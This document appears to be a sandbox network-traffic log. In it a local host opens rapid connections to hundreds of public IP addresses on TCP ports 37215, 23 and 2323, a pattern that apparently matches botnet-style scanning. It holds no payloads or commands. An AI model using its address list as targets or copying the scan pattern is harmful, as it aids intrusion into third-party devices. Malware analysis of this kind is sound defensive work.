Nov 3, 2024 15:33:10.181240082 CET	4847	37215	192.168.2.14	156.65.133.121
Nov 3, 2024 15:33:10.181243896 CET	4847	37215	192.168.2.14	156.86.242.133
Nov 3, 2024 15:33:10.181257010 CET	4847	37215	192.168.2.14	156.188.48.25
Nov 3, 2024 15:33:10.181260109 CET	4847	37215	192.168.2.14	156.97.191.142
Nov 3, 2024 15:33:10.181263924 CET	4847	37215	192.168.2.14	197.78.52.138
Nov 3, 2024 15:33:10.181279898 CET	4847	37215	192.168.2.14	41.45.148.197
Nov 3, 2024 15:33:10.181282997 CET	4847	37215	192.168.2.14	197.173.57.144
Nov 3, 2024 15:33:10.181293964 CET	4847	37215	192.168.2.14	197.137.118.119
Nov 3, 2024 15:33:10.181315899 CET	4847	37215	192.168.2.14	197.80.24.160
Nov 3, 2024 15:33:10.181318045 CET	4847	37215	192.168.2.14	156.59.184.52
Nov 3, 2024 15:33:10.181318045 CET	4847	37215	192.168.2.14	156.198.226.188
Nov 3, 2024 15:33:10.181337118 CET	4847	37215	192.168.2.14	41.222.46.178
Nov 3, 2024 15:33:10.181337118 CET	4847	37215	192.168.2.14	156.36.180.246
Nov 3, 2024 15:33:10.181349993 CET	4847	37215	192.168.2.14	41.230.40.100
Nov 3, 2024 15:33:10.181368113 CET	4847	37215	192.168.2.14	156.128.0.10
Nov 3, 2024 15:33:10.181380033 CET	4847	37215	192.168.2.14	156.155.61.109
Nov 3, 2024 15:33:10.181380987 CET	4847	37215	192.168.2.14	197.229.168.21
Nov 3, 2024 15:33:10.181381941 CET	4847	37215	192.168.2.14	197.29.187.160
Nov 3, 2024 15:33:10.181396008 CET	4847	37215	192.168.2.14	197.213.168.216
Nov 3, 2024 15:33:10.181407928 CET	4847	37215	192.168.2.14	156.77.77.171
Nov 3, 2024 15:33:10.181411982 CET	4847	37215	192.168.2.14	197.121.99.146
Nov 3, 2024 15:33:10.181437016 CET	4847	37215	192.168.2.14	197.78.110.52
Nov 3, 2024 15:33:10.181438923 CET	4847	37215	192.168.2.14	197.12.69.255
Nov 3, 2024 15:33:10.181447029 CET	4847	37215	192.168.2.14	197.181.73.53
Nov 3, 2024 15:33:10.181452990 CET	4847	37215	192.168.2.14	41.130.81.159
Nov 3, 2024 15:33:10.181468964 CET	4847	37215	192.168.2.14	41.21.198.41
Nov 3, 2024 15:33:10.181478024 CET	4847	37215	192.168.2.14	156.123.64.14
Nov 3, 2024 15:33:10.181488037 CET	4847	37215	192.168.2.14	41.85.28.23
Nov 3, 2024 15:33:10.181489944 CET	4847	37215	192.168.2.14	197.99.104.243
Nov 3, 2024 15:33:10.181510925 CET	4847	37215	192.168.2.14	197.34.19.170
Nov 3, 2024 15:33:10.181513071 CET	4847	37215	192.168.2.14	197.127.105.72
Nov 3, 2024 15:33:10.181515932 CET	4847	37215	192.168.2.14	197.140.159.97
Nov 3, 2024 15:33:10.181529045 CET	4847	37215	192.168.2.14	41.52.46.224
Nov 3, 2024 15:33:10.181534052 CET	4847	37215	192.168.2.14	41.134.121.86
Nov 3, 2024 15:33:10.182040930 CET	56454	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:10.182054043 CET	56454	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:10.182430029 CET	56522	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:10.182868958 CET	43040	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:10.182868958 CET	43040	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:10.183187962 CET	43106	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:10.183573961 CET	41260	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:10.183590889 CET	41260	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:10.183679104 CET	23	4833	81.202.219.153	192.168.2.14
Nov 3, 2024 15:33:10.183690071 CET	2323	4833	185.179.141.90	192.168.2.14
Nov 3, 2024 15:33:10.183698893 CET	23	4833	126.121.188.121	192.168.2.14
Nov 3, 2024 15:33:10.183727980 CET	4833	23	192.168.2.14	81.202.219.153
Nov 3, 2024 15:33:10.183732986 CET	4833	2323	192.168.2.14	185.179.141.90
Nov 3, 2024 15:33:10.183732986 CET	4833	23	192.168.2.14	126.121.188.121
Nov 3, 2024 15:33:10.183753967 CET	23	4833	151.141.133.84	192.168.2.14
Nov 3, 2024 15:33:10.183764935 CET	23	4833	47.211.156.147	192.168.2.14
Nov 3, 2024 15:33:10.183773041 CET	23	4833	57.77.17.204	192.168.2.14
Nov 3, 2024 15:33:10.183782101 CET	23	4833	149.229.95.150	192.168.2.14
Nov 3, 2024 15:33:10.183789968 CET	4833	23	192.168.2.14	151.141.133.84
Nov 3, 2024 15:33:10.183794975 CET	4833	23	192.168.2.14	47.211.156.147
Nov 3, 2024 15:33:10.183805943 CET	4833	23	192.168.2.14	57.77.17.204
Nov 3, 2024 15:33:10.183825016 CET	4833	23	192.168.2.14	149.229.95.150
Nov 3, 2024 15:33:10.183885098 CET	41326	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:10.184228897 CET	23	4833	94.225.74.133	192.168.2.14
Nov 3, 2024 15:33:10.184240103 CET	23	4833	5.127.89.240	192.168.2.14
Nov 3, 2024 15:33:10.184248924 CET	23	4833	199.59.48.194	192.168.2.14
Nov 3, 2024 15:33:10.184259892 CET	2323	4833	175.243.137.81	192.168.2.14
Nov 3, 2024 15:33:10.184266090 CET	4833	23	192.168.2.14	94.225.74.133
Nov 3, 2024 15:33:10.184268951 CET	23	4833	152.189.235.149	192.168.2.14
Nov 3, 2024 15:33:10.184271097 CET	53164	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:10.184279919 CET	23	4833	2.26.167.235	192.168.2.14
Nov 3, 2024 15:33:10.184283018 CET	4833	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.184293032 CET	23	4833	89.21.15.83	192.168.2.14
Nov 3, 2024 15:33:10.184295893 CET	4833	23	192.168.2.14	199.59.48.194
Nov 3, 2024 15:33:10.184299946 CET	4833	2323	192.168.2.14	175.243.137.81
Nov 3, 2024 15:33:10.184308052 CET	4833	23	192.168.2.14	2.26.167.235
Nov 3, 2024 15:33:10.184308052 CET	4833	23	192.168.2.14	152.189.235.149
Nov 3, 2024 15:33:10.184309006 CET	37215	4847	156.237.223.183	192.168.2.14
Nov 3, 2024 15:33:10.184320927 CET	37215	4847	41.89.192.221	192.168.2.14
Nov 3, 2024 15:33:10.184330940 CET	42686	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:10.184330940 CET	23	4833	31.30.83.161	192.168.2.14
Nov 3, 2024 15:33:10.184330940 CET	4833	23	192.168.2.14	89.21.15.83
Nov 3, 2024 15:33:10.184340954 CET	23	4833	43.130.146.112	192.168.2.14
Nov 3, 2024 15:33:10.184341908 CET	4847	37215	192.168.2.14	156.237.223.183
Nov 3, 2024 15:33:10.184350014 CET	23	4833	64.1.217.115	192.168.2.14
Nov 3, 2024 15:33:10.184355974 CET	4847	37215	192.168.2.14	41.89.192.221
Nov 3, 2024 15:33:10.184355974 CET	4833	23	192.168.2.14	31.30.83.161
Nov 3, 2024 15:33:10.184360027 CET	37215	4847	41.215.186.20	192.168.2.14
Nov 3, 2024 15:33:10.184369087 CET	33290	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:10.184369087 CET	35868	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:10.184376001 CET	4833	23	192.168.2.14	43.130.146.112
Nov 3, 2024 15:33:10.184376955 CET	51690	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:10.184376955 CET	23	4833	77.255.169.129	192.168.2.14
Nov 3, 2024 15:33:10.184386969 CET	23	4833	86.23.19.81	192.168.2.14
Nov 3, 2024 15:33:10.184393883 CET	51340	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:10.184396029 CET	23	4833	68.14.235.251	192.168.2.14
Nov 3, 2024 15:33:10.184398890 CET	4833	23	192.168.2.14	64.1.217.115
Nov 3, 2024 15:33:10.184405088 CET	2323	4833	38.118.212.53	192.168.2.14
Nov 3, 2024 15:33:10.184411049 CET	4847	37215	192.168.2.14	41.215.186.20
Nov 3, 2024 15:33:10.184413910 CET	23	4833	104.110.66.252	192.168.2.14
Nov 3, 2024 15:33:10.184422970 CET	37215	4847	156.79.181.88	192.168.2.14
Nov 3, 2024 15:33:10.184423923 CET	4833	23	192.168.2.14	77.255.169.129
Nov 3, 2024 15:33:10.184429884 CET	4833	23	192.168.2.14	68.14.235.251
Nov 3, 2024 15:33:10.184431076 CET	4833	23	192.168.2.14	86.23.19.81
Nov 3, 2024 15:33:10.184432030 CET	23	4833	117.34.138.170	192.168.2.14
Nov 3, 2024 15:33:10.184448957 CET	4847	37215	192.168.2.14	156.79.181.88
Nov 3, 2024 15:33:10.184451103 CET	4833	2323	192.168.2.14	38.118.212.53
Nov 3, 2024 15:33:10.184451103 CET	4833	23	192.168.2.14	104.110.66.252
Nov 3, 2024 15:33:10.184453964 CET	37215	4847	41.149.135.100	192.168.2.14
Nov 3, 2024 15:33:10.184464931 CET	23	4833	208.120.35.138	192.168.2.14
Nov 3, 2024 15:33:10.184464931 CET	4833	23	192.168.2.14	117.34.138.170
Nov 3, 2024 15:33:10.184473038 CET	23	4833	182.63.15.186	192.168.2.14
Nov 3, 2024 15:33:10.184482098 CET	23	4833	179.194.240.200	192.168.2.14
Nov 3, 2024 15:33:10.184490919 CET	4847	37215	192.168.2.14	41.149.135.100
Nov 3, 2024 15:33:10.184493065 CET	23	4833	174.53.113.165	192.168.2.14
Nov 3, 2024 15:33:10.184499025 CET	4833	23	192.168.2.14	208.120.35.138
Nov 3, 2024 15:33:10.184503078 CET	23	4833	189.252.192.96	192.168.2.14
Nov 3, 2024 15:33:10.184514999 CET	4833	23	192.168.2.14	182.63.15.186
Nov 3, 2024 15:33:10.184516907 CET	23	4833	75.237.195.128	192.168.2.14
Nov 3, 2024 15:33:10.184520006 CET	4833	23	192.168.2.14	179.194.240.200
Nov 3, 2024 15:33:10.184520960 CET	4833	23	192.168.2.14	174.53.113.165
Nov 3, 2024 15:33:10.184526920 CET	37215	4847	197.216.151.15	192.168.2.14
Nov 3, 2024 15:33:10.184531927 CET	4833	23	192.168.2.14	189.252.192.96
Nov 3, 2024 15:33:10.184557915 CET	4833	23	192.168.2.14	75.237.195.128
Nov 3, 2024 15:33:10.184559107 CET	4847	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.184736013 CET	37215	45716	156.244.104.217	192.168.2.14
Nov 3, 2024 15:33:10.184746027 CET	37215	4847	41.165.33.211	192.168.2.14
Nov 3, 2024 15:33:10.184782028 CET	45716	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:10.184787035 CET	37215	4847	41.200.60.53	192.168.2.14
Nov 3, 2024 15:33:10.184798956 CET	23	4833	103.31.110.247	192.168.2.14
Nov 3, 2024 15:33:10.184803009 CET	4847	37215	192.168.2.14	41.165.33.211
Nov 3, 2024 15:33:10.184808969 CET	2323	4833	183.75.79.123	192.168.2.14
Nov 3, 2024 15:33:10.184820890 CET	4847	37215	192.168.2.14	41.200.60.53
Nov 3, 2024 15:33:10.184823036 CET	37215	4847	156.152.67.146	192.168.2.14
Nov 3, 2024 15:33:10.184834003 CET	37215	4847	197.220.105.216	192.168.2.14
Nov 3, 2024 15:33:10.184839010 CET	4833	23	192.168.2.14	103.31.110.247
Nov 3, 2024 15:33:10.184845924 CET	4833	2323	192.168.2.14	183.75.79.123
Nov 3, 2024 15:33:10.184847116 CET	23	4833	155.31.16.112	192.168.2.14
Nov 3, 2024 15:33:10.184858084 CET	23	4833	209.39.7.158	192.168.2.14
Nov 3, 2024 15:33:10.184864998 CET	4847	37215	192.168.2.14	156.152.67.146
Nov 3, 2024 15:33:10.184868097 CET	37215	4847	156.14.116.151	192.168.2.14
Nov 3, 2024 15:33:10.184869051 CET	4847	37215	192.168.2.14	197.220.105.216
Nov 3, 2024 15:33:10.184880018 CET	23	4833	177.228.57.38	192.168.2.14
Nov 3, 2024 15:33:10.184885979 CET	4833	23	192.168.2.14	155.31.16.112
Nov 3, 2024 15:33:10.184890032 CET	23	4833	220.231.70.84	192.168.2.14
Nov 3, 2024 15:33:10.184891939 CET	34184	37215	192.168.2.14	156.237.223.183
Nov 3, 2024 15:33:10.184892893 CET	4833	23	192.168.2.14	209.39.7.158
Nov 3, 2024 15:33:10.184894085 CET	4847	37215	192.168.2.14	156.14.116.151
Nov 3, 2024 15:33:10.184905052 CET	37215	4847	197.122.113.243	192.168.2.14
Nov 3, 2024 15:33:10.184915066 CET	4833	23	192.168.2.14	177.228.57.38
Nov 3, 2024 15:33:10.184926033 CET	4833	23	192.168.2.14	220.231.70.84
Nov 3, 2024 15:33:10.184946060 CET	4847	37215	192.168.2.14	197.122.113.243
Nov 3, 2024 15:33:10.185220957 CET	37215	43040	197.86.1.46	192.168.2.14
Nov 3, 2024 15:33:10.185262918 CET	43040	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:10.185312033 CET	37215	35868	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:10.185353041 CET	35868	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:10.185376883 CET	23	53442	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:10.185441017 CET	53442	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:10.185442924 CET	23	37362	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:10.185513973 CET	37215	42686	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:10.185556889 CET	42686	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:10.185580969 CET	37215	54656	156.171.108.22	192.168.2.14
Nov 3, 2024 15:33:10.185602903 CET	42996	37215	192.168.2.14	41.89.192.221
Nov 3, 2024 15:33:10.185671091 CET	37215	51340	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:10.185713053 CET	51340	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:10.185733080 CET	2323	37178	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:10.185853958 CET	23	43240	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:10.185969114 CET	23	44750	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:10.186155081 CET	53796	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:10.186209917 CET	23	59162	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:10.186302900 CET	23	53612	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:10.186490059 CET	23	33472	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:10.186621904 CET	37215	53164	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:10.186666012 CET	53164	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:10.186714888 CET	23	45256	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:10.186822891 CET	23	54976	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:10.186893940 CET	23	40988	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.186943054 CET	37215	51690	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:10.186984062 CET	51690	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:10.187058926 CET	37215	33290	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:10.187103033 CET	33290	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:10.187103987 CET	37215	56454	197.78.199.67	192.168.2.14
Nov 3, 2024 15:33:10.187114000 CET	23	40548	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:10.187134027 CET	41352	37215	192.168.2.14	41.215.186.20
Nov 3, 2024 15:33:10.187794924 CET	42002	23	192.168.2.14	81.202.219.153
Nov 3, 2024 15:33:10.187905073 CET	37215	43040	197.86.1.46	192.168.2.14
Nov 3, 2024 15:33:10.187915087 CET	37215	43040	197.86.1.46	192.168.2.14
Nov 3, 2024 15:33:10.188445091 CET	37215	41260	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:10.188642025 CET	43796	37215	192.168.2.14	156.79.181.88
Nov 3, 2024 15:33:10.188807011 CET	40548	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:10.188807964 CET	40988	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.188816071 CET	59162	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:10.188822031 CET	43240	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:10.188822031 CET	54656	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:10.188824892 CET	54976	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:10.188824892 CET	33472	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:10.188824892 CET	37362	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:10.189196110 CET	43440	2323	192.168.2.14	185.179.141.90
Nov 3, 2024 15:33:10.189570904 CET	37215	53164	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:10.189579964 CET	37215	42686	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:10.189589024 CET	37215	33290	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:10.189593077 CET	37215	35868	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:10.189600945 CET	37215	51690	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:10.189610004 CET	37215	51340	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:10.190011978 CET	37215	43040	197.86.1.46	192.168.2.14
Nov 3, 2024 15:33:10.190160990 CET	23	53442	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:10.190195084 CET	57304	37215	192.168.2.14	41.149.135.100
Nov 3, 2024 15:33:10.190825939 CET	44308	23	192.168.2.14	126.121.188.121
Nov 3, 2024 15:33:10.191670895 CET	38488	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.192181110 CET	47062	23	192.168.2.14	151.141.133.84
Nov 3, 2024 15:33:10.192804098 CET	53612	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:10.192805052 CET	45256	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:10.192805052 CET	44750	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:10.192816019 CET	37178	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:10.193164110 CET	36582	37215	192.168.2.14	41.165.33.211
Nov 3, 2024 15:33:10.193679094 CET	46330	23	192.168.2.14	47.211.156.147
Nov 3, 2024 15:33:10.194624901 CET	52354	37215	192.168.2.14	41.200.60.53
Nov 3, 2024 15:33:10.195132017 CET	39148	23	192.168.2.14	57.77.17.204
Nov 3, 2024 15:33:10.196079969 CET	55692	37215	192.168.2.14	156.152.67.146
Nov 3, 2024 15:33:10.196619034 CET	48790	23	192.168.2.14	149.229.95.150
Nov 3, 2024 15:33:10.197164059 CET	37215	38488	197.216.151.15	192.168.2.14
Nov 3, 2024 15:33:10.197207928 CET	38488	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.197542906 CET	37842	37215	192.168.2.14	197.220.105.216
Nov 3, 2024 15:33:10.198060036 CET	39598	23	192.168.2.14	94.225.74.133
Nov 3, 2024 15:33:10.198982000 CET	46808	37215	192.168.2.14	156.14.116.151
Nov 3, 2024 15:33:10.199516058 CET	53794	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.200438023 CET	33864	37215	192.168.2.14	197.122.113.243
Nov 3, 2024 15:33:10.200968981 CET	39076	23	192.168.2.14	199.59.48.194
Nov 3, 2024 15:33:10.201343060 CET	54656	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:10.201384068 CET	54656	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:10.202136040 CET	54780	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:10.202255011 CET	51674	2323	192.168.2.14	175.243.137.81
Nov 3, 2024 15:33:10.202934980 CET	38488	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.202934980 CET	38488	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.203661919 CET	38520	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.203759909 CET	42250	23	192.168.2.14	152.189.235.149
Nov 3, 2024 15:33:10.203819036 CET	37215	38488	197.216.151.15	192.168.2.14
Nov 3, 2024 15:33:10.203854084 CET	38488	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:10.204616070 CET	45256	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:10.204797983 CET	55918	37215	192.168.2.14	156.163.100.169
Nov 3, 2024 15:33:10.204799891 CET	34408	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:10.204808950 CET	53166	37215	192.168.2.14	197.228.188.180
Nov 3, 2024 15:33:10.204811096 CET	59256	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:10.204813957 CET	55828	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:10.204814911 CET	47594	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:10.204822063 CET	35962	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:10.204956055 CET	45662	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:10.205089092 CET	23	53794	5.127.89.240	192.168.2.14
Nov 3, 2024 15:33:10.205138922 CET	53794	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.205378056 CET	40548	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:10.205712080 CET	40950	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:10.206104040 CET	37215	54656	156.171.108.22	192.168.2.14
Nov 3, 2024 15:33:10.206137896 CET	54976	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:10.206358910 CET	37215	54656	156.171.108.22	192.168.2.14
Nov 3, 2024 15:33:10.206468105 CET	55376	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:10.206901073 CET	37178	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:10.207225084 CET	37578	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:10.207628965 CET	33472	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:10.207935095 CET	33870	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:10.208359003 CET	43240	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:10.208547115 CET	37215	38488	197.216.151.15	192.168.2.14
Nov 3, 2024 15:33:10.208555937 CET	37215	38488	197.216.151.15	192.168.2.14
Nov 3, 2024 15:33:10.208693027 CET	43662	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:10.209002018 CET	37215	38488	197.216.151.15	192.168.2.14
Nov 3, 2024 15:33:10.209100962 CET	37362	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:10.209422112 CET	37500	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:10.209830046 CET	53612	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:10.210143089 CET	53746	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:10.210553885 CET	59162	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:10.210556030 CET	23	45256	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:10.210756063 CET	23	53794	5.127.89.240	192.168.2.14
Nov 3, 2024 15:33:10.210860968 CET	59294	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:10.211093903 CET	23	40548	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:10.211280107 CET	40988	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.211601973 CET	41416	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.211822033 CET	23	54976	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:10.212014914 CET	44750	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:10.212346077 CET	45178	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:10.212799072 CET	53794	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.212799072 CET	53794	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.213128090 CET	53830	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:10.213325024 CET	2323	37178	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:10.213846922 CET	23	33472	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:10.213856936 CET	23	43240	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:10.215537071 CET	23	37362	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:10.216258049 CET	23	53612	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:10.216603994 CET	23	59162	121.12.149.163	192.168.2.14
Nov 3, 2024 15:33:10.216824055 CET	23	40988	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.217000961 CET	23	41416	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.217041969 CET	41416	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.218312025 CET	23	44750	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:10.219075918 CET	23	53794	5.127.89.240	192.168.2.14
Nov 3, 2024 15:33:10.224562883 CET	23	41416	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.224637032 CET	41416	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.224962950 CET	41422	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.229377031 CET	23	41416	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.229727983 CET	23	41422	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.229779005 CET	41422	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.233828068 CET	37215	41260	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:10.233838081 CET	37215	56454	197.78.199.67	192.168.2.14
Nov 3, 2024 15:33:10.234738111 CET	23	41422	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.234839916 CET	41422	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.235148907 CET	41424	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.236799955 CET	52688	37215	192.168.2.14	197.202.62.10
Nov 3, 2024 15:33:10.236804008 CET	35756	37215	192.168.2.14	197.83.253.179
Nov 3, 2024 15:33:10.236815929 CET	41304	37215	192.168.2.14	197.71.251.4
Nov 3, 2024 15:33:10.236819983 CET	46176	37215	192.168.2.14	197.156.145.224
Nov 3, 2024 15:33:10.236825943 CET	41386	37215	192.168.2.14	156.78.176.195
Nov 3, 2024 15:33:10.236833096 CET	45286	37215	192.168.2.14	41.251.35.62
Nov 3, 2024 15:33:10.236843109 CET	55982	37215	192.168.2.14	41.127.57.2
Nov 3, 2024 15:33:10.236843109 CET	47838	37215	192.168.2.14	41.30.36.150
Nov 3, 2024 15:33:10.236856937 CET	43338	37215	192.168.2.14	41.0.156.243
Nov 3, 2024 15:33:10.236860991 CET	53220	37215	192.168.2.14	41.110.152.122
Nov 3, 2024 15:33:10.236860991 CET	45870	37215	192.168.2.14	156.231.15.248
Nov 3, 2024 15:33:10.236881018 CET	38898	37215	192.168.2.14	197.123.181.186
Nov 3, 2024 15:33:10.236881971 CET	55982	37215	192.168.2.14	41.94.83.32
Nov 3, 2024 15:33:10.236882925 CET	46970	37215	192.168.2.14	156.121.81.82
Nov 3, 2024 15:33:10.236882925 CET	42944	37215	192.168.2.14	197.70.188.139
Nov 3, 2024 15:33:10.236891031 CET	51320	37215	192.168.2.14	197.170.29.185
Nov 3, 2024 15:33:10.236893892 CET	38128	37215	192.168.2.14	197.254.53.16
Nov 3, 2024 15:33:10.236896038 CET	41078	37215	192.168.2.14	156.74.90.42
Nov 3, 2024 15:33:10.236901045 CET	37318	37215	192.168.2.14	156.196.195.67
Nov 3, 2024 15:33:10.236902952 CET	53038	37215	192.168.2.14	41.194.49.85
Nov 3, 2024 15:33:10.236905098 CET	51290	37215	192.168.2.14	156.198.181.96
Nov 3, 2024 15:33:10.236915112 CET	59392	37215	192.168.2.14	156.76.135.96
Nov 3, 2024 15:33:10.236917019 CET	33876	37215	192.168.2.14	41.202.1.65
Nov 3, 2024 15:33:10.236929893 CET	53466	37215	192.168.2.14	41.31.2.200
Nov 3, 2024 15:33:10.236931086 CET	58954	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:10.239732981 CET	23	41422	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.239936113 CET	23	41424	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.239979029 CET	41424	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.245304108 CET	23	41424	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.245424032 CET	41424	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.245894909 CET	41426	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.250297070 CET	23	41424	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.251080990 CET	23	41426	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.251126051 CET	41426	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.256618023 CET	23	41426	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.256696939 CET	41426	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.257030010 CET	41428	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.261523962 CET	23	41426	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.261859894 CET	23	41428	81.249.102.9	192.168.2.14
